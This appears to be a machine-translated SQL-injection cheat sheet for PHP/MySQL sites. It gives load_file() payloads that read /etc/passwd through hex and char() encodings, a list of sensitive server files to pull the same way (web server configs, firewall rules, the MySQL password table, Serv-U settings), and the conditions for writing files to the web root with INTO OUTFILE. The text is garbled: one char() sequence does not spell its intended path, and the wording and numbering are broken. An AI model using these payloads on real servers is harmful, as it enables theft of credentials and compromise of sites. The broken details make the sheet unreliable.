Usage of the load_file () function in PHP + MySQL penetration testing

 

1. replace (load_file (0 × 2F6574632F706173737764), 0 × 3c, 0 × 20)

2. replace (load_file (char (47,101,116, 115,115,119,100,), char (60), char (32 ))

The above two items show the full code in a PHP file. Sometimes some characters are not replaced. For example, "<" is replaced with "space" and the webpage is returned. The Code cannot be viewed.

3. load_file (char (47) can be used to list the root directories of FreeBSD and Sunos systems.

4. view the configuration file of the linux APACHE Virtual Host in/etc/httpd/conf/httpd. conf or/usr/local/apche/conf/httpd. conf.

5. Run c: \ Program Files \ Apache Group \ Apache \ conf \ httpd. conf or C: \ apache \ conf \ httpd. conf to view the apache file in WINDOWS.

6. Run c:/Resin-3.0.14/conf/resin. conf to view the resin file configuration of the website developed by jsp.

7. c:/Resin/conf/resin. conf/usr/local/resin/conf/resin. conf

8. d: \ APACHE \ Apache2 \ conf \ httpd. conf

9. C: \ Program Files \ mysql \ my. ini

10../themes/darkblue_orange/layout. inc. php phpmyadmin burst path

11. view the virtual host configuration file of IIS in c: \ windows \ system32 \ inetsrv \ MetaBase. xml.

12. view the resin configuration file 3.0.22 in/usr/local/resin-3.0.22/conf/RESIN. conf.

13./usr/local/resin-pro-3.0.22/conf/resin. conf is the same as above.

14./usr/local/app/apache2/conf/extra/httpd-vhosts.conf apashe vm View

15. View firewall policies in/etc/sysconfig/iptables.

16. Equivalent settings of usr/local/app/php5/lib/php. ini PHP

17./etc/my. cnf MYSQL configuration file

18. System Version of/etc/redhat-release Red Hat

19. C: \ mysql \ data \ mysql \ user. MYD has a user password in the MYSQL system.

20,/etc/sysconfig/network-scripts/ifcfg-eth0 to view the IP.

21./usr/local/app/php5/lib/php. ini // PHP settings

22,/usr/local/app/apache2/conf/extra/httpd-vhosts.conf // virtual website settings

23. c: \ Program Files \ RhinoSoft.com \ Serv-U \ ServUDaemon. ini

24. c: \ windows \ my. ini

MySQL into outfile conditions:

1. The web service runs on the same server as MySQL.

2. MySQL versions later than 3

3. Have file_priv permission

4. magic_quotes = off

5. Know the writable web path